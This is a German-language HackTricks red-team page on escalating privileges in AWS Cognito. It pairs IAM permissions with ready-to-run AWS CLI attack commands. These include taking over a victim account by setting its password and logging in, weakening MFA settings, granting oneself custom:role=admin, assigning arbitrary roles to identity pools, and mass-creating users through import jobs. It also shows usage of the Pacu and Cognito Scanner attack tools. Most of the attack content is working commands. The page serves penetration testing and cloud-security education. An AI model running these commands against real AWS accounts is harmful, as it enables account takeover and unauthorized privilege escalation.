AWS - Cognito Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Cognito

Für weitere Informationen zu Cognito siehe:

AWS - Cognito Enum

Anmeldeinformationen aus Identity Pool sammeln

Da Cognito IAM role credentials sowohl an authenticated als auch an unauthenticated users vergeben kann, kannst du, wenn du die Identity Pool ID einer Anwendung findest (sollte dort fest im Code hinterlegt sein), neue Anmeldeinformationen erhalten und dadurch privesc erlangen (innerhalb eines AWS-Kontos, in dem du vermutlich zuvor keine Credentials hattest).

Für weitere Informationen check this page.

Potenzielle Auswirkung: Direktes privesc auf die services role, die an unauth users angehängt ist (und wahrscheinlich auch auf die, die an auth users angehängt ist).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Mit dieser Berechtigung kannst du den authenticated/unauthenticated users der cognito app jede cognito role zuweisen.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Wenn die cognito app keine nicht-authentifizierten Benutzer aktiviert hat, benötigen Sie möglicherweise außerdem die Berechtigung cognito-identity:UpdateIdentityPool, um diese zu aktivieren.

Mögliche Auswirkungen: Direkter privesc auf jede cognito role.

cognito-identity:update-identity-pool

Ein Angreifer mit dieser Berechtigung könnte zum Beispiel einen Cognito User Pool unter seiner Kontrolle oder einen anderen Identity Provider einrichten, bei dem er sich anmelden kann, als Weg, auf diesen Cognito Identity Pool zuzugreifen. Dann würde allein das Anmelden bei diesem Identity Provider ihm erlauben, auf die konfigurierte authenticated role im Identity Pool zuzugreifen.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Es ist auch möglich, diese Berechtigung zu missbrauchen, um basic auth zu erlauben:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potentielle Auswirkung: Kompromittierung der konfigurierten authentifizierten IAM role im identity pool.

cognito-idp:AdminAddUserToGroup

Diese Berechtigung ermöglicht es, einen Cognito user zu einer Cognito group hinzuzufügen, daher könnte ein Angreifer diese Berechtigung missbrauchen, um einen unter seiner Kontrolle stehenden Benutzer zu anderen Gruppen mit besseren Privilegien oder verschiedenen IAM roles hinzuzufügen:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potential Impact: Privesc auf andere Cognito-Gruppen und IAM-Rollen, die an User Pool Groups angehängt sind.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Ein Angreifer mit diesen Berechtigungen könnte Gruppen erstellen/aktualisieren mit jeder IAM-Rolle, die von einem kompromittierten Cognito Identity Provider verwendet werden kann, und einen kompromittierten Benutzer Teil der Gruppe machen, um Zugriff auf all diese Rollen zu erhalten:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potentielle Auswirkung: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

Diese Berechtigung erlaubt es, eine Registrierung zu verifizieren. Standardmäßig kann sich jede*r bei Cognito-Anwendungen anmelden; wenn das so belassen wird, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung verifizieren.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potential Impact: Indirekter privesc auf die identity pool IAM role for authenticated users, wenn Sie einen neuen Benutzer registrieren können. Indirekter privesc auf andere App-Funktionalitäten, die in der Lage sind, jedes Konto zu bestätigen.

cognito-idp:AdminCreateUser

Diese Berechtigung ermöglicht es einem Angreifer, einen neuen Benutzer innerhalb des user pool zu erstellen. Der neue Benutzer wird als aktiviert erstellt, muss jedoch sein Passwort ändern.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potential Impact: Direkter privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionalitäten, die es ermöglichen, beliebige Benutzer zu erstellen

cognito-idp:AdminEnableUser

Diese Berechtigung kann in einem sehr speziellen Randfall helfen, in dem ein Angreifer die Anmeldedaten eines deaktivierten Benutzers gefunden hat und diesen wieder aktivieren muss.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potentielle Auswirkungen: Indirekter privesc auf die identity pool IAM role für authentifizierte Benutzer und die Berechtigungen des Benutzers, falls ein Angreifer Anmeldeinformationen für einen deaktivierten Benutzer besitzt.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Diese Berechtigung ermöglicht das Einloggen mit der method ADMIN_USER_PASSWORD_AUTH. Für weitere Informationen siehe den Link.

cognito-idp:AdminSetUserPassword

Diese Berechtigung würde einem Angreifer erlauben, ein bekanntes Passwort für jeden Benutzer zu setzen, was in der Regel zu einer direkten Übernahme des Kontos führt (insbesondere wenn das Opfer kein MFA aktiviert hat oder MFA für den relevanten Auth-Flow/Client nicht erzwungen wird).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Gängiger Ablauf:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Zugehörige Berechtigung: cognito-idp:AdminResetUserPassword kann verwendet werden, um einen Reset-Prozess für ein Opfer zu erzwingen (die Auswirkungen hängen davon ab, wie die Passwortwiederherstellung implementiert ist und was der Angreifer abfangen oder kontrollieren kann).

Mögliche Auswirkungen: Übernahme beliebiger Benutzerkonten; Zugriff auf App-Ebenen-Berechtigungen (Gruppen/Rollen/Claims) und alles downstream, das Cognito-Tokens vertraut; möglicher Zugriff auf Identity Pool-authentifizierte IAM-Rollen.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Ein Angreifer könnte diese Berechtigung potenziell ausnutzen, um ein ihm kontrolliertes Mobiltelefon als SMS MFA eines Benutzers zu konfigurieren.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Ähnlich wie bei der vorherigen Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Einstellungen eines Benutzers festzulegen und so den MFA-Schutz zu umgehen.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Ähnlich wie bei der vorherigen Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines User Pools festzulegen und so den MFA-Schutz zu umgehen.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Es ist außerdem möglich, den User Pool zu aktualisieren, um die MFA-Richtlinie zu ändern. Check cli here.

Potential Impact: Indirekte privesc zu potenziell jedem Benutzer, dessen Zugangsdaten der Angreifer kennt — dies könnte ermöglichen, den MFA-Schutz zu umgehen.

cognito-idp:AdminUpdateUserAttributes

Ein Angreifer mit dieser Berechtigung kann jedes veränderbare Attribut eines User Pool-Benutzers (einschließlich custom:*-Attribute) ändern, um zu versuchen, in einer zugrundeliegenden Anwendung Privilegien zu erlangen.

Ein häufiges, hochwirksames Muster ist claim-based RBAC, implementiert mittels custom attributes (zum Beispiel custom:role=admin). Wenn die Anwendung diesem Claim vertraut, kann dessen Aktualisierung und anschließendes erneutes Authentifizieren die Autorisierung umgehen, ohne die App zu ändern.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Beispiel: upgrade deine eigene role und refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Potential Impact: Indirekte privesc in Anwendungen, die Cognito-Attribute/Claims zur Autorisierung verwenden; Möglichkeit, andere sicherheitsrelevante Attribute zu ändern (zum Beispiel kann das Setzen von email_verified oder phone_number_verified auf true in einigen Apps relevant sein).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Ein Angreifer mit dieser Berechtigung könnte einen neuen User Pool Client erstellen, der weniger eingeschränkt ist als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client jede Art von Authentifizierungsmethode erlauben, kein secret haben, Token-Revocation deaktiviert haben oder Tokens eine längere Gültigkeitsdauer erlauben…

Dasselbe kann passieren, wenn statt eines neuen Clients ein bestehender geändert wird.

In der command line (oder der update one) können Sie alle Optionen sehen — schauen Sie es sich an!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Mögliche Auswirkung: Potentielle indirekte privesc auf den autorisierten Identity Pool-Benutzer, der vom User Pool verwendet wird, durch das Erstellen eines neuen Clients, der die Sicherheitsmaßnahmen lockert und es einem Angreifer ermöglicht, sich mit einem Benutzer anzumelden, den er erstellen konnte.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Ein Angreifer könnte diese Berechtigung missbrauchen, um Benutzer zu erstellen, indem er eine CSV mit neuen Benutzern hochlädt.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Falls du einen neuen import job erstellst, könntest du außerdem die iam passrole permission benötigen; ich habe es noch nicht getestet.)

Mögliche Auswirkungen: Direkter privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionalitäten, die es erlauben, beliebige Benutzer zu erstellen.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Ein Angreifer könnte einen neuen identity provider erstellen, um sich anschließend über diesen anmelden zu können.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: Direkter privesc auf die Identity Pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionalitäten, die das Erstellen beliebiger Benutzer erlauben.

cognito-sync:* Analyse

Dies ist eine sehr häufige Berechtigung standardmäßig in Rollen von Cognito Identity Pools. Selbst wenn ein Wildcard in Berechtigungen immer schlecht aussieht (insbesondere bei AWS), sind die gegebenen Berechtigungen aus Angreiferperspektive nicht besonders nützlich.

Diese Berechtigung erlaubt, Benutzerinformationen von Identity Pools und Identity IDs innerhalb von Identity Pools zu lesen (was keine sensiblen Informationen sind).
Identity IDs können Datasets zugewiesen haben, die Sitzungsinformationen darstellen (AWS definiert es als saved game). Es ist möglich, dass diese gewisse sensible Informationen enthalten (die Wahrscheinlichkeit ist jedoch recht gering). In der enumeration page findest du, wie man auf diese Informationen zugreift.

Ein Angreifer könnte diese Berechtigungen auch nutzen, um sich in einen Cognito stream einzuschreiben, der Änderungen an diesen datasets veröffentlicht oder eine lambda, die bei cognito events auslöst. Ich habe dies noch nicht gesehen und erwarte hier keine sensiblen Informationen, aber es ist nicht unmöglich.

Automatische Tools

  • Pacu, das AWS exploitation framework, enthält jetzt die Module “cognito__enum” und “cognito__attack”, die die Enumeration aller Cognito assets in einem Account automatisieren und schwache Konfigurationen, für Zugriffskontrolle genutzte user attributes, etc. kennzeichnen, sowie die Benutzererstellung (inkl. MFA-Unterstützung) und privilege escalation basierend auf modifizierbaren custom attributes, nutzbaren identity pool credentials, assumable roles in id tokens, etc. automatisieren.

Für eine Beschreibung der Funktionen der Module siehe Teil 2 des blog post. Für Installationsanweisungen siehe die Hauptseite von Pacu.

Usage

Beispielhafte cognito__attack usage, um Benutzererstellung und alle privesc-Vektoren gegen einen gegebenen identity pool und user pool client zu versuchen:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Beispielhafte Verwendung von cognito__enum, um alle user pools, user pool clients, identity pools, users usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ist ein CLI-Tool in python, das verschiedene Angriffe gegen Cognito implementiert, einschließlich einer privesc escalation.

Installation

$ pip install cognito-scanner

Verwendung

$ cognito-scanner --help

Für weitere Informationen siehe https://github.com/padok-team/cognito-scanner

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks